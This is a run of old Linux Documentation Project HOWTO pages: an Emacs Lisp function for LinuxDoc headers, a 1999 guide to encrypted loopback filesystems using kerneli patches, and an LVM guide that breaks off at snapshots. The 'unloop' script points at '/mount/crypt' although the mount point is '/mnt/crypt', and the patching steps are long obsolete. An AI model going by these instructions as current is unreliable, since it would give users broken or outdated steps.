This works like before, but instead of setting the auto-insert-alist to a file to insert, you need to set it to a function to execute. This is how to proceed, taking for granted you want to write this function in a file named ~/emacs/sgml-header.el. (there's no need to burden your .emacs file with such a function, as it may turn out to be quite long):

      (add-hook 'find-file-hooks 'auto-insert)
      (load-library "autoinsert")
      (add-to-list 'load-path "~/emacs")
      (load-library "sgml-header")
      (setq auto-insert-alist
            (append '(((sgml-mode .  "SGML Mode") . insert-sgml-header))
                    auto-insert-alist))

You will find in appendix an example of insert-sgml-header function.


LinuxDoc+Emacs+Ispell-HOWTO: An insert-sgml-header function

 Next Previous Contents

7. An insert-sgml-header function

This function will let the user insert a customised header for a Linux Documentation Project document in a file. It can be called automatically when one opens a new file, or explicitly, by the user.

This function prompts the user, through the mini-buffer, for some pieces of information, some of which are necessary, some of which are not.

First comes the title. If none is given, the function returns immediately, and inserts nothing. Then comes the date, the author, his e-mail and home page (these last two are optional).

Then comes a request for the name of the translator. If there is none, just type Return, and no further prompting about a hypothetical translator will be done. If there is one, you are asked for his e-mail and home page (optional as well).

This function then prints your request to the current buffer, including of course all the information you typed in a set up form, and including as well the tags which will serve for the abstract and the first chapter. It finally puts the cursor in the place where the abstract needs to be typed.

(defun insert-sgml-header ()
  "Inserts the header for a LinuxDoc document"
  (interactive)
  (let (title author email home translator email-translator home-translator date
              starting-point)
    (setq title (read-from-minibuffer "Title: "))
    (if (> (length title) 0)
        (progn
          (setq date (read-from-minibuffer "Date: ")
                author (read-from-minibuffer "Author: ")
                email (read-from-minibuffer "Author e-mail: ")
                home (read-from-minibuffer "Author home page: http://")
                translator (read-from-minibuffer "Translator: "))
          (insert "<!doctype linuxdoc system>\n<article>\n<title>")
          (insert title)
          (insert "</title>\n<author>\nAuthor: ") (insert author) (insert "<newline>\n")
          (if (> (length email) 0)
              (progn
                (insert "<htmlurl url=\"mailto:")
                (insert email) (insert "\" name=\"") (insert email)
                (insert "\"><newline>\n")))
          (if (> (length home) 0)
              (progn
                (insert "<htmlurl url=\"http://")
                (insert home) (insert "\" name=\"") (insert home)
                (insert "\">\n<newline>")))
          (if (> (length translator) 0)
              (progn
                (setq email-translator (read-from-minibuffer "Translator e-mail: ")
                      home-translator (read-from-minibuffer "Translator home page: http://"))
                (insert "Translator : ")
                (insert translator)
                (insert "<newline>\n")
                (if (> (length email-translator) 0)
                    (progn
                      (insert "<htmlurl url=\"mailto:")
                      (insert email-translator) (insert "\" name=\"")
                      (insert email-translator)
                      (insert "\"><newline>\n")))
                (if (> (length home-translator) 0)
                    (progn
                      (insert "<htmlurl url=\"http://")
                      (insert home-translator) (insert "\" name=\"")
                      (insert home-translator)
                      (insert "\"><newline>\n")))))
          (insert "</author>\n<date>\n")
          (insert date)
          (insert "\n</date>\n\n<abstract>\n")
          (setq point-beginning (point))
          (insert "\n</abstract>\n<toc>\n\n<sect>\n<p>\n\n\n</sect>\n\n</article>\n")
          (goto-char point-beginning)
          ))))


Loopback Encrypted Filesystem HOWTO

Copyright by Ryan T. Rhea, rhear@cs.winthrop.edu

v1.1, 29 November 1999

This document explains how to setup and then use a filesystem that, when mounted by a user, dynamically and transparently encrypts its contents. The filesystem is stored in a regular file, which can be hidden or named non-conspicuously such that it would most likely be overlooked. This allows for a high level of secure storage of data.

1. Before you begin

2. Introduction

3. Summary

4. Details


Loopback Encrypted Filesystem HOWTO: Before you begin

 Next Previous Contents

1. Before you begin

This process requires the kernel source code, knowledge of compiling this code, and a lot of patience. I highly recommend having a boot disk ready. Also, be sure to have a backup before you permanently store your important data on the encrypted filesystem - it can be corrupted like any other filesystem.

As a minimum, you will have to patch to at least version 2.2.9 of the linux kernel before continuing. There are further instructions on applying patches in the Details section later in this document.

Kernel source can be found at:

ftp://ftp.kerneli.org/

There is a HOWTO on the process of recompiling kernels at:

http://metalab.unc.edu/LDP/HOWTO/

This document may be reproduced and distributed in whole or in part, without fee, subject to the following conditions:

  • The copyright notice and this permission notice must be preserved complete on all complete or partial copies.
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining he complete version of this manual must be included, and a means for obtaining a complete version provided.
  • All source code in this document is placed under the GNU General Public License, available via anonymous FTP from:

ftp://prep.ai.mit.edu/pub/gnu/COPYING/


Loopback Encrypted Filesystem HOWTO: Introduction

 Next Previous Contents

2. Introduction

The process uses the device '/dev/loop*' (where * can be 0-7 on most installations) to mount a loopback filesystem. The same process can be used without encryption to store a linux filesystem on a non-linux partition. There is a HOWTO on this at the LDP site mentioned previously.

Different types of encryption can be used, including XOR, DES, twofish, blowfish, cast128, serpent, MARS, RC6, DFC, and IDEA. The program 'losetup' (loopback setup) is what associates your encrypted file with a filesystem and it's cipher type. According to Alexander Kjeldaas, who maintains kerneli.org and the international crypto patches, DES and losetup are currently incompatible. This is due to differences in the way the two handle parity bits. There are no plans to support DES as it is much more insecure than the other ciphers.

Twofish, blowfish, cast128, and serpent are all licensed free for any use. The others may or may not have licensing restrictions. Several of them are candidates for the AES standard. The finalists will provide royalty free use of their ciphers worldwide.

This document uses the serpent algorithm because it is strong yet remarkably fast, and it's freely distributable under the GPL. According to it's documentation, serpent uses a 128-bit block cipher designed by Ross Anderson, Eli Biham and Lars Knudsen. It provides users with the highest practical level of assurance that no shortcut attacks will be found. The documentation on serpent as well as the source code can be found at:

http://www.cl.cam.ac.uk/~rja14/serpent.html

Also, this document assumes that the ciphers are compiled directly into the kernel. You may install them as modules, but the technique is not discussed in this document. You will have to edit the file '/etc/conf.module'; the process is discussed in detail in the kernel compilation HOWTO referenced previously.


Loopback Encrypted Filesystem HOWTO: Summary

 Next Previous Contents

3. Summary

There are many steps involved in the process. I will provide Details for these steps in the next section. I thought it would be nice to provide a summary first to provide reference (if you are experienced with unix/linux you probably don't need the details anyway). Here they are summarized as follows:

  1. Download the newest international crypto patch (I used 'patch-int-2.2.10.4' at the time this document was written) from:

    http://ftp.kerneli.org/pub/kerneli/

  2. Patch the kernel

  3. Run 'config' (or 'menuconfig' or 'xconfig') to configure your 'MakeFile' for the new kernel. The options to enable encryption are scattered. First of all, before you will see any other options you must enable 'Prompt for development and/or incomplete code/drivers' under 'Code Maturity level options'. Under 'Crypto options' enable 'crypto ciphers' and 'serpent'. Once again, this document assumes you are using serpent, but try whatever you want. Remember that DES is known to be incompatible as of 2.2.10.4 - it may never be supported at all. There are several important options to select under 'Block Devices'. These include 'Loopback device support', 'Use relative block numbers as basis for transfer functions (RECOMMENDED)', and 'General encryption support'. DO NOT select 'cast 128' or 'twofish' encryption here. Also note that you don't need any of the crypto options under the various network categories. I will not go any further into configuration of the kernel, it is out of the scope of this document and can be found at the LDP site.

  4. Compile the new kernel.

  5. Edit '/etc/lilo.conf' to add the new kernel image. Run 'lilo -v' to add the kernel to the boot loader.

  6. Download the source for the newest 'util-linux' (I used 'util-linux-2.9v') package from:

    ftp://ftp.kernel.org/pub/linux/utils/util-linux/

  7. Extract the 'util-linux' source.

  8. Apply the corresponding patch found in your '/usr/src/linux/Documentation/crypto/' directory.

  9. CAREFULLY read the 'INSTALL' file! This package contains the sources for many system dependent files (important tools such as 'login', 'passwd', and 'init'). If you don't carefully edit the MCONFIG file before compiling these sources have a boot disk and/or shotgun ready because your system will be quite confused. Basically you want to set almost all of the 'HAVE_*' fields equal to yes so that the important authentication tools are not compiled and written over. The tools you do want rebuilt are 'mount' and 'losetup' to accommodate the new encryption schemes. I suggest that you refer to the Details section below for this step.

  10. Compile and install the 'util-linux' source

  11. Reboot the machine with the new kernel.

  12. Edit '/etc/fstab', adding an entry for your mount point as follows:

    /dev/loop0  /mnt/crypt  ext2  user,noauto,rw,loop 0 0

  13. Create the directory that will hold your filesystem, as in '/mnt/crypt' above.

  14. As the user, create your encrypted file as follows:

    dd if=/dev/urandom of=/etc/cryptfile bs=1M count=10

  15. Run losetup as follows:

    losetup -e serpent /dev/loop0 /etc/cryptfile

    You only have one chance to enter the password, be careful. If you want to double-check your password, you can use the command:

    losetup -d /dev/loop0

    This will deactivate your loop device. Next you will run losetup again to test your password, as follows:

    losetup -e serpent /dev/loop0 /etc/cryptfile

  16. Make your ext2 filesystem as follows:

    mkfs -t ext2 /dev/loop0

  17. Now you can mount the encrypted filesystem with:

    mount -t ext2 /dev/loop0 /mnt/crypt

  18. When your done, you want to unmount and protect your filesystem as follows:

    umount /dev/loop0
losetup -d /dev/loop0


Loopback Encrypted Filesystem HOWTO: Details

 Next Previous Contents

4. Details

Kernel Patches:

You can upgrade from '2.2.x' releases by patching. Each patch that is released for '2.2.x' contains bugfixes. New features will be added to the Linux '2.3.x' development kernel. To install by patching, get all the newer patch files and do the following:

cd /usr/src
gzip -cd patchXX.gz | patch -p0

Repeat xx for all versions bigger than the version of your current source tree, IN ORDER.

The default directory for the kernel source is '/usr/src/linux'. If your source is installed somewhere else, I would suggest using a symbolic link from '/usr/src/linux'.

Editing 'MCONFIG' for the 'util-linux' package compilation:

The following are excerpts from the 'MCONFIG' file I used to compile the 'util-linux' package. Note that this is fairly specific for my setup, which is loosely based on RedHat 5.2. The point is to make sure you don't overwrite any important system tools such as 'login', 'getty', or 'passwd'. Anyway, here are the important lines as follows:

CPU=$(shell uname -m | sed s/I.86/intel/)

LOCALEDIR=/usr/share/locale

HAVE_PAM=no

HAVE_SHADOW=yes

HAVE_PASSWD=yes

REQUIRE_PASSWORD=yes

ONLY_LISTED_SHELLS=yes

HAVE_SYSVINIT=yes

HAVE_SYSVINIT_UTILS=yes

HAVE_GETTY=yes

USE_TTY_GROUP=yes

HAVE_RESET=yes

HAVE_SLN=yes

CC=gcc

Suggestions:

Note that you could use any of the eight loopback devices, from 'dev/loop0' to '/dev/loop7'. Use an inconspicuous directory for the mount point. I would suggest creating a folder with 700 permissions inside your home folder. The same goes for the file that holds the data. I use a filename like 'sysfile' or 'config.data' inside the '/etc' folder. This will usually get overlooked.

I created very simple Perl scripts to mount and unmount the filesystem with one command. Write these, make them executable (chmod u+x), and store them somewhere in your path.

#!/usr/bin/perl -w
#
#minimal utility to setup loopback encryption filesystem
#Copyright 1999 by Ryan T. Rhea
`losetup -e serpent /dev/loop0 /etc/cryptfile`;
`mount /mnt/crypt`;

Name the above script 'loop', and then you can be on your way with one command ('loop') and a password.

#!/usr/bin/perl -w
#
#minimal utility to deactivate loopback encryption filesystem
#Copyright 1999 by Ryan T. Rhea
`umount /mount/crypt`;
`losetup -d /dev/loop0`;

Name the second one 'unloop', and then typing 'unloop' will quickly deactivate your filesystem.


Logical Volume Manager HOWTO

bert hubert <ahu@ds9a.nl>
Richard Allen <ra@ra.is>

Version 0.0.2 $Date: 2000/04/28 01:27:32 $

A very hands-on HOWTO for Linux LVM

1. Introduction

  • 1.1 Disclaimer & License
  • 1.2 Prior knowledge
  • 1.3 Housekeeping notes
  • 1.4 Access, CVS & submitting updates
  • 1.5 Layout of this document

2. What is LVM?

3. Basic principles

  • 3.1 Show & Tell
  • 3.2 Active and Inactive: kernel space and user space

4. Prerequisites

  • 4.1 Kernel
  • 4.2 Userspace

5. Growing your filesystem

  • 5.1 With e2fsadm
  • 5.2 Growing your Logical Volume
  • 5.3 Growing your Volume Group
  • 5.4 Growing your filesystem

6. Replacing disks

  • 6.1 When it's too late

7. Making snapshots for consistent backups

  • 7.1 How does it work?

8. Redundancy & Performance

  • 8.1 Why stripe?
  • 8.2 Why not
  • 8.3 LVM native striping
  • 8.4 Hardware RAID
  • 8.5 Linux software RAID

9. Cookbook

  • 9.1 Moving LVM disks between computers
  • 9.2 Rebuilding /etc/lvmtab and /etc/lvmtab.d

10. Further reading

11. Acknowledgements & Thanks to


Logical Volume Manager HOWTO: Introduction

 Next Previous Contents

1. Introduction

Welcome, gentle reader.

This document is written to help enlighten you on what LVM is, how it works, and how you can use it to make your life easier. While there is an LVM FAQ, and even a German HOWTO, this document is written from a different perspective. It is a true 'HOWTO' in that it is very hands-on, while also imparting understanding (hopefully).

I should make it clear that I am not an author of the Linux Logical Volume Manager. I have great respect for the people who are, and hope to be able to cooperate with them.

It's even weirder, I don't even know the developers of LVM. I hope this will change soon. I apologise in advance for stepping on peoples toes.

1.1 Disclaimer & License

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If your disks melt and your company fires you - it's never our fault. Sorry. Make frequent backups and do your experiments on non-mission critical systems.

Furthermore, Richard Allen does not speak for his employer.

Linux is a registered trademark of Linus Torvalds.

1.2 Prior knowledge

Not much. If you have ever installed Linux and made a filesystem (fdisk/mkfs), you should be all set. As always when operating as root, caution is advised. Incorrect commands or any operation on device files may damage your existing data.

If you know how to configure HP/UX LVM you are almost done, Linux works almost exactly like the HP implementation.

1.3 Housekeeping notes

There are several things which should be noted about this document. While I wrote most of it, I really don't want it to stay that way. I am a strong believer in Open Source, so I encourage you to send feedback, updates, patches etcetera. Do not hesitate to inform us of typos or plain old errors.

If you feel to you are better qualified to maintain a section, or think that you can author and maintain new sections, you are welcome to do so. The SGML of this HOWTO is available via CVS. I envision this being a collaborative project.

In aid of this, you will find lots of FIXME notices. Patches are always welcome! Wherever you find a FIXME, you should know that you are treading unknown territory. This is not to say that there are no errors elsewhere, but be extra careful. If you have validated something, please let us know so I can remove the FIXME notice.

1.4 Access, CVS & submitting updates

The canonical location for the HOWTO is http://www.ds9a.nl/lvm-howto/.

We now have anonymous CVS access available for the world at large. This allows you to easily obtain the latest version of this HOWTO and to provide your changes and enhancements.

If you want to grab a copy of the HOWTO via CVS, here is how to do so:

$ export CVSROOT=:pserver:anon@outpost.ds9a.nl:/var/cvsroot
$ cvs login
CVS password: [enter 'cvs' (without 's)]
$ cvs co lvm-howto
cvs server: Updating lvm-howto
U lvm-howto/lvm-howto.sgml

If you spot an error, or want to add something, just fix it locally, and run "cvs diff -u", and send the result off to us.

A Makefile is supplied which should help you create postscript, dvi, pdf, html and plain text. You may need to install sgml-tools, ghostscript and tetex to get all formats.

1.5 Layout of this document

We will initially be explaining some basic stuff which is needed to do things. We do try however to include examples where this would aid comprehension.


Logical Volume Manager HOWTO: What is LVM?

 Next Previous Contents

2. What is LVM?

Historically, a partition size is static. This requires a system installer to have to consider not the question of "how much data will I store on this partition", but rather "how much data will I *EVER* store on this partition". When a user runs out of space on a partition, they either have to re-partition (which may involve an entire operating system reload) or use kludges such as symbolic links.

The notion that a partition was a sequential series of blocks on a physical disc has since evolved. Most Unix-like systems now have the ability to break up physical discs into some number of units. Storage units from multiple drives can be pooled into a "logical volume", where they can be allocated to partitions. Additionally, units can be added or removed from partitions as space requirements change.

This is the basis of a Logical Volume Manager (LVM).

For example, say that you have a 1GB disc and you create the "/home" partition using 600MB. Imagine that you run out of space and decide that you need 1GB in "/home". Using the old notion of partitions, you'd have to have another drive at least 1GB in size. You could then add the disc, create a new /home, and copy the existing data over.

However, with an LVM setup, you could simply add a 400MB (or larger) disc, and add it's storage units to the "/home" partition. Other tools allow you to resize an existing file-system, so you simply resize it to take advantage of the larger partition size and you're back in business.

As a very special treat, LVM can even make 'snapshots' of itself which enable you to make backups of a non-moving target. We return to this exciting possibility, which has lots of other real-world applications, later on.

In the next section we explain the basics of LVM, and the multitude of abstractions it uses.


Logical Volume Manager HOWTO: Basic principles

 Next Previous Contents

3. Basic principles

Ok, don't let this scare you off, but LVM comes with a lot of jargon which you should understand lest you endanger your filesystems.

We start at the bottom, more or less.

The physical media

You should take the word 'physical' with a grain of salt, though we will initially assume it to be a simple hard disk, or a partition. Examples, /dev/hda, /dev/hda6, /dev/sda. You can turn any consecutive number of blocks on a block device into a ...

Physical Volume (PV)

A PV is nothing more than a physical medium with some administrative data added to it - once you have added this, LVM will recognise it as a holder of ...

Physical Extents (PE)

Physical Extents are like really big blocks, often with a size of megabytes. PEs can be assigned to a...

Volume Group

A VG is made up of a number of Physical Extents (which may have come from multiple Physical Volumes or hard drives). While it may be tempting to think of a VG as being made up of several hard drives (/dev/hda and /dev/sda for example), it's more accurate to say that it contains PEs which are provided by these hard drives.

>From this Volume Group, PEs can be assigned to a ...

Logical Volume (LV)

Yes, we're finally getting somewhere. A Logical Volume is the end result of our work, and it's there that we store our information. This is equivalent to the historic idea of partitions.

As with a regular partition, on this Logical Volume you would typically build a ...

Filesystem

This filesystem is whatever you want it to be: the standard ext2, ReiserFS, NWFS, XFS, JFX, NTFS, etc... To the linux kernel, there is no difference between a regular partition and a Logical Volume.

I've attempted some ASCII art which may help you visualise this.

A Physical Volume, containing Physical Extents:

  +-----[ Physical Volume ]------+
  | PE | PE | PE | PE | PE | PE  |
  +------------------------------+

A Volume Group, containing 2 Physical Volumes (PVs) with 6 Physical Extents:

  +------[ Volume Group ]-----------------+
  |  +--[PV]--------+  +--[PV]---------+  |
  |  | PE | PE | PE |  | PE | PE | PE  |  |
  |  +--------------+  +---------------+  |
  +---------------------------------------+

We now further expand this:

  +------[ Volume Group ]-----------------+
  |  +--[PV]--------+  +--[PV]---------+  |
  |  | PE | PE | PE |  | PE | PE | PE  |  |
  |  +--+---+---+---+  +-+----+----+---+  |
  |     |   |   | +-----/     |    |      |
  |     |   |   | |           |    |      |
  |   +-+---+---+-+      +----+----+--+   |
  |   |  Logical  |      |  Logical   |   |
  |   |  Volume   |      |   Volume   |   |
  |   |           |      |            |   |
  |   |  /home    |      |    /var    |   |
  |   +-----------+      +------------+   |
  +---------------------------------------+

This shows us two filesystems, spanning two disks. The /home filesystem contains 4 Physical Extents, the /var filesystem 2.

bert hubert is writing a tool to represent LVM more visually, a screenshot is provided. Looks better than the ASCII art.

3.1 Show & Tell

Ok, this stuff is hard to assimilate ('We are LVM of Borg...'), so here is a very annotated example of creating a Logical Volume. Do NOT paste this example onto your console because you WILL destroy data, unless it happens that on your computer /dev/hda3 and /dev/hdb2 aren't used.

When in doubt, view the ASCIIgram above.

You should first set the partition types of /dev/hda3 and /dev/hdb2 to 0x8e, which is 'Linux LVM'. Please note that your version of fdisk may not yet know this type, so it will be listed as 'Unknown':

# fdisk /dev/hda

Command (m for help): p

Disk /dev/hda: 255 heads, 63 sectors, 623 cylinders
Units = cylinders of 16065 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1             1         2     16033+  83  Linux
/dev/hda2             3       600   4803435   83  Linux
/dev/hda3           601       607     56227+  83  Linux
/dev/hda4           608       614     56227+  83  Linux

Command (m for help): t
Partition number (1-4): 3
Hex code (type L to list codes): 8e

Command (m for help): p

Disk /dev/hda: 255 heads, 63 sectors, 623 cylinders
Units = cylinders of 16065 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/hda1             1         2     16033+  83  Linux
/dev/hda2             3       600   4803435   83  Linux
/dev/hda3           601       607     56227+  8e  Unknown
/dev/hda4           608       614     56227+  83  Linux

Command (m for help): w

We do the same for /dev/hdb2, but we don't display it here. This is needed so that LVM is able to reconstruct things should you lose your configuration.

Now, this shouldn't be necessary, but some computers require a reboot at this point. So if the following examples don't work, try rebooting.

We then create our Physical Volumes, like this:

# pvcreate  /dev/hda3
pvcreate -- physical volume "/dev/hda3" successfully created
# pvcreate  /dev/hdb2
pvcreate -- physical volume "/dev/hdb2" successfully created

We than add these two PVs to a Volume Group called 'test':

# vgcreate test /dev/hdb2 /dev/hda3
vgcreate -- INFO: using default physical extent size 4 MB
vgcreate -- INFO: maximum logical volume size is 255.99 Gigabyte
vgcreate -- doing automatic backup of volume group "test"
vgcreate -- volume group "test" successfully created and activated

So we now have an empty Volume Group, let's examine it a bit:

# vgdisplay -v test
--- Volume group ---
VG Name               test
VG Access             read/write
VG Status             available/resizable
VG #                  0
MAX LV                256
Cur LV                0
Open LV               0
MAX LV Size           255.99 GB
Max PV                256
Cur PV                2
Act PV                2
VG Size               184 MB
PE Size               4 MB
Total PE              46
Alloc PE / Size       0 / 0
Free  PE / Size       46 / 184 MB

--- No logical volumes defined in test ---

--- Physical volumes ---
PV Name (#)           /dev/hda3 (2)
PV Status             available / allocatable
Total PE / Free PE    13 / 13

PV Name (#)           /dev/hdb2 (1)
PV Status             available / allocatable
Total PE / Free PE    33 / 33
Lots of data here - most of it should be understandable by now. We see that there are no Logical Volumes defined, so we should work to remedy that. We try to generate a 50 megabyte volume called 'HOWTO' in the Volume Group 'test':

# lvcreate -L 50M -n HOWTO test
lvcreate -- rounding up size to physical extent boundary "52 MB"
lvcreate -- doing automatic backup of "test"
lvcreate -- logical volume "/dev/test/HOWTO" successfully created

Ok, we're nearly there, let's make a filesystem:

# mke2fs /dev/test/HOWTO
mke2fs 1.18, 11-Nov-1999 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
13328 inodes, 53248 blocks
2662 blocks (5.00%) reserved for the super user
First data block=1
7 block groups
8192 blocks per group, 8192 fragments per group
1904 inodes per group
Superblock backups stored on blocks:
        8193, 24577, 40961

Writing inode tables: done
Writing superblocks and filesystem accounting information: done
# mount /dev/test/HOWTO /mnt
# ls /mnt
lost+found

And we're done! Let's review our Volume Group, because it should be filled up a bit by now:

# vgdisplay test -v
--- Volume group ---
VG Name               test
VG Access             read/write
VG Status             available/resizable
VG #                  0
MAX LV                256
Cur LV                1
Open LV               1
MAX LV Size           255.99 GB
Max PV                256
Cur PV                2
Act PV                2
VG Size               184 MB
PE Size               4 MB
Total PE              46
Alloc PE / Size       13 / 52 MB
Free  PE / Size       33 / 132 MB

--- Logical volume ---
LV Name               /dev/test/HOWTO
VG Name               test
LV Write Access       read/write
LV Status             available
LV #                  1
# open                1
LV Size               52 MB
Current LE            13
Allocated LE          13
Allocation            next free
Read ahead sectors    120
Block device          58:0

--- Physical volumes ---
PV Name (#)           /dev/hda3 (2)
PV Status             available / allocatable
Total PE / Free PE    13 / 13

PV Name (#)           /dev/hdb2 (1)
PV Status             available / allocatable
Total PE / Free PE    33 / 20

Well, it is. /dev/hda3 is completely unused, but /dev/hdb2 has 13 Physical Extents in use.

3.2 Active and Inactive: kernel space and user space

As with all decent operating systems, Linux is divided in two parts: kernel space and user space. Userspace is sometimes called userland, which would also be a good name for a theme park, 'Userland'.

Discovery, creation and modification of things pertaining to Logical Volume Management is done in user space, and then communicated to the kernel. Once a volume group or logical volume is reported to the kernel, it is called 'Active'. Certain changes can only be performed when an entity is active, others only when it is not.


Logical Volume Manager HOWTO: Prerequisites

 Next Previous Contents

4. Prerequisites

There is a wide range of kernels where LVM is available on. In Linux 2.4, LVM will be fully integrated. From kernel 2.3.47 and onwards, LVM is in the process of being merged into the main kernel.

4.1 Kernel

Linux 2.4

Will contain everything you need. It is expected that most distributions will release with LVM included as a module. If you need to compile, just tick off the LVM option when selecting your block devices.

Linux 2.3.99.*

Once things have calmed down on the kernel development front, this section will vanish. For now, the gory details.

As we write this, Linux 2.3.99pre5 is current and it still needs a very tiny patch to get LVM working.

For Linux 2.3.99pre3, two patches were released:

The patch was posted on linux-kernel, and is available here.

Andrea Arcangeli improved on that patch, and supplied an incremental patch, which should be applied on top of the 2.3.99pre3 LVM patch above.

For Linux 2.3.99pre5, bert hubert rolled these two patches into one and ported it to 2.3.99pre5. Patch. Use with care.

2.3.99pre6-1, yes, a prerelease of a prepatch, features for the first time complete LVM support! It stil misses Andreas patch but we have been assured that it is in the queue to be released real soon.

2.3.99pre4-ac1 has the tiny LVM patch in by default, and working. It does not contain Andreas patch though.

Linux 2.2

FIXME: write this

Linux 2.3

FIXME: write this

4.2 Userspace

You need the tools available from the LVM site. Compiling them on glibc2.1 systems requires a tiny patch, and even then gives errors on Debian 2.2.


Logical Volume Manager HOWTO: Growing your filesystem

 Next Previous Contents

5. Growing your filesystem

You can do this with a provided script which does a lot of work for you, or you can do it by hand if needed.

5.1 With e2fsadm

If there is room within your volume group, and you use the ext2 filesystem (most people do), you can use this handy tool.

The e2fsadm command uses the commercial resize2fs tool. While people feel that this is good software, it is not very widely installed.

If you want to use the FSF's ext2resize command, you need to inform e2fsadm of this:

# export E2FSADM_RESIZE_CMD=ext2resize
# export E2FSADM_RESIZE_OPTS=""

The rest is easy, e2fsadm is a lot like the other LVM commands:

# e2fsadm /dev/test/HOWTO -L+50M
e2fsadm -- correcting size 102 MB to physical extent boundary 104 MB
e2fsck 1.18, 11-Nov-1999 for EXT2 FS 0.5b, 95/08/09
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/test/HOWTO: 11/25688 files (0.0% non-contiguous), 3263/102400 blocks
lvextend -- extending logical volume "/dev/test/howto" to 104 MB
lvextend -- doing automatic backup of volume group "test"
lvextend -- logical volume "/dev/test/HOWTO" successfully extended

ext2_resize_fs
ext2_grow_fs
ext2_block_relocate
ext2_block_relocate_grow
ext2_grow_group
ext2_add_group
ext2_add_group
ext2_add_group
ext2_add_group
ext2_add_group
ext2_add_group
direct hits 4096 indirect hits 0 misses 1
e2fsadm -- ext2fs in logical volume "/dev/test/HOWTO" successfully extended to 104 MB

5.2 Growing your Logical Volume

The e2fsadm command takes care of this for you. However, it may be useful to understand how to do this manually:

If you have room within your Volume Group, this is a one liner:

# lvextend -L+12M /dev/test/HOWTO
lvextend -- rounding size to physical extent boundary
lvextend -- extending logical volume "/dev/test/HOWTO" to 116 MB
lvextend -- doing automatic backup of volume group "test"
lvextend -- logical volume "/dev/test/HOWTO" successfully extended

5.3 Growing your Volume Group

This is done with the vgextend utility, and is easy as pie. You first need to create a physical volume. This is done with the pvcreate utility. With this tool, you convert any block device into a physical volume.

After that is done, vgextend does the rest:

# pvcreate /dev/sda1
pvcreate -- physical volume "/dev/sda1" successfully created
# vgextend webgroup /dev/sda1
vgextend -- INFO: maximum logical volume size is 255.99 Gigabyte
vgextend -- doing automatic backup of volume group "webgroup"
vgextend -- volume group "webgroup" successfully extended

Please note that in order to do this, your Volume Group needs to be active. You can make it by executing 'vgchange -a y webgroup'.

5.4 Growing your filesystem

If you want to do this manually, there are a couple of ways to do this.

ext2 off-line with ext2resize

By off-line, we mean that you have to unmount the file-system to make these changes. The file-system and it's data will be unavailable while doing this. Note this means you must use other boot media if extending the size of the root or other important partitions.

The ext2resize tool is available on the GNU ftp size, but most distributions carry it as a package. The syntax is very straightforward:

# ext2resize /dev/HOWTO/small 40000
Where 40000 is the number of blocks the filesystem should have after growing or shrinking.

ext2 on-line

FIXME: write this


Logical Volume Manager HOWTO: Replacing disks

 Next Previous Contents

6. Replacing disks

This is one of the benefits of LVM. Once you start seeing errors on a disk, it is high time to move your data. With LVM this is easy as pie. We first do the obvious replacement example where you add a disk to the system that's at least as large as the one you want to replace.

To move data, we move Physical Extents of a Volume Group to another disk, or more precisely, to another Physical Volume. For this, LVM offers us the pvmove utility.

Let's say that our suspicious disk is called /dev/hda1 and we want to replace it by /dev/sdb3. We first add /dev/sdb3 to the Volume Group that contains /dev/hda1.

It appears advisable to unmount any filesystems on this Volume Group before doing this. Having a full backup might not hurt either.

FIXME: is this necessary?

We then execute pvmove. In its simplest invocation, we just mention the disk we want to remove, like this:

# pvmove /dev/hda1
pvmove -- moving physical extents in active volume group "test1"
pvmove -- WARNING: moving of active logical volumes may cause data loss!
pvmove -- do you want to continue? [y/n] y
pvmove -- doing automatic backup of volume group "test1"
pvmove -- 12 extents of physical volume "/dev/hda1" successfully moved

Please heed this warning. Also, it appears that at least some kernels or LVM versions have trouble with this command. I tested it with 2.3.99pre6-2, and it works, but be warned.

Now that /dev/hda1 contains no Physical Extents anymore, we can reduce it from the Volume Group:

# vgreduce test1 /dev/hda1
vgreduce -- doing automatic backup of volume group "test1"
vgreduce -- volume group "test1" successfully reduced by physical volume:
vgreduce -- /dev/hda1

FIXME: we need clarity on a few things. Should the volume group be active? When do we get data loss?

6.1 When it's too late

If a disk fails without warning and you are unable to move the Physical Extents off it to a different Physical Volume you will have lost data unless the Logical Volumes on the PV that failed was mirrored. The correct course of action is to replace the failed PV with an identical one or at least a partition of the same size.

The directory /etc/lvmconf contains backups of the LVM data and structures that make the disks into Physical Volumes and list which Volume Groups that PV belongs to and what Logical Volumes are in the Volume Group.

After replacing the faulty disk you can use the vgcfgrestore command to recover the LVM data to the new PV. This restores the Volume Group and all it's info, but it does not restore the data that was in the Logical Volumes. This is why most LVM commands make backups automatically of the LVM data when doing changes.


Logical Volume Manager HOWTO: Making snapshots for consistent backups

 Next Previous Contents

7. Making snapshots for consistent backups

This is one of the more incredible possibilities. Let's say you have a busy server, with lots of things happening. For a useful backup, you need to shut down a large number of programs because otherwise you end up with inconsistencies.

The canonical example is moving a file from /tmp to /root, where /root was being backed up first. When /root was read, the file wasn't there yet. By the time /tmp was backed up, the file was gone.

Another story goes for saving databases or directories. We have no clue if a file is in any usable state unless we give the application time to do a clean shutdown.

Which is where another problem pops up. We shut down out applications, make our backup, and restart them again. This is all fine as long as the backup only takes a few minutes, but gets to be real painful if it takes hours, or if you're not even sure how long it takes.

LVM to the rescue.

With LVM we can make a snapshot picture of a Logical Volume which is instantaneous, and then mount that and make a backup of it.

Let's try this out:

# mount /dev/test/HOWTO /mnt
# echo > /mnt/a.test.file
# ls /mnt/
a.test.file  lost+found
# ls -l /mnt/
total 13
-rw-r--r--    1 root     root            1 Apr  2 00:28 a.test.file
drwxr-xr-x    2 root     root        12288 Apr  2 00:28 lost+found

Ok, we now have something to work with. Let's make the snapshot:

# lvcreate --size 16m --snapshot --name snap /dev/test/HOWTO
lvcreate -- WARNING: all snapshots will be disabled if more than 16 MB are changed
lvcreate -- INFO: using default snapshot chunk size of 64 KB
lvcreate -- doing automatic backup of "test"
lvcreate -- logical volume "/dev/test/HOWTO" successfully created

More on the '--size' parameter later. Let's mount the snapshot:

# mount /dev/test/snap /snap
# ls /snap
total 13
